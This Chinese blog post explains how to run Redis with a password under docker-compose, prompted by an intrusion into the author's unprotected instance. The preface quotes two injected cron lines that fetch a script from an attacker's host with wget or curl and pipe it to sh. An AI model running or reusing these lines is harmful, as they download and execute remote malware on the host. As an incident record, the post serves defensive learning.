使用 docker-compose 在 Docker 中启动带密码的 Redis

前言

在服务器上使用 docker-compose 启动一个 Docker 中的 Redis 时,配置文件没有生效,Redis 没有加密码,导致 redis 中被写入两条记录:

1
2
*/3 * * * * wget -q -O- http://chrome.zer0day.ru:5050/mrx1 | sh
*/1 * * * * curl -fsSL http://chrome.zer0day.ru:5050/mrx1 | sh

还好及时发现,在此记录一下解决过程。

解决过程

方案一

docker-compose.yml 文件中写入下列内容:

1
2
3
4
5
6
7
8
9
redis:
image: redis
container_name: my_redis
command: redis-server /usr/local/etc/redis/redis.conf
ports:
- "6379:6379"
volumes:
- ./data:/data
- ./redis.conf:/usr/local/etc/redis/redis.conf

其中:

  1. image 代表镜像名称;
  2. container_name 代表生成的容器名称;
  3. command 代表生成容器后要执行的命令;
  4. ports 将容器内的端口映射到容器外;
  5. volumes 代表共享目录或文件,冒号前为宿主机目录,冒号后为容器内目录。举例:- ./data:/data 意为将当前目录共享到容器内的 /data 目录,相当于做了一个软连接。

注:共享目录或文件时如果宿主机或容器内不存在 docker 会自动帮你创建。
Redis 的密码需要自己在与容器共享的配置 redis.conf 中加入,即更改配置中 requirepass 为:

1
requirepass yourpassword

docker-compose.yml 所在目录下执行 docker-compose up -d,即可在 Docker 中生成一个带密码的 Redis 容器。

方案二

同样在 docker-compose.yml 中写入下列内容:

1
2
3
4
5
6
7
8
redis:
image: redis
container_name: my_redis
command: redis-server --requirepass yourpassword
ports:
- "6379:6379"
volumes:
- ./data:/data

然后直接在其所在目录下执行 docker-compose up -d,即可在 Docker 中生成一个带密码的 Redis 容器。

总结

方案一的好处是可以更多的定制 Redis 的配置,方案二的好处是可以快速启动一个带免密的 Docker Redis 实例而不需要依赖外部的 redis.conf。

给我加个菜?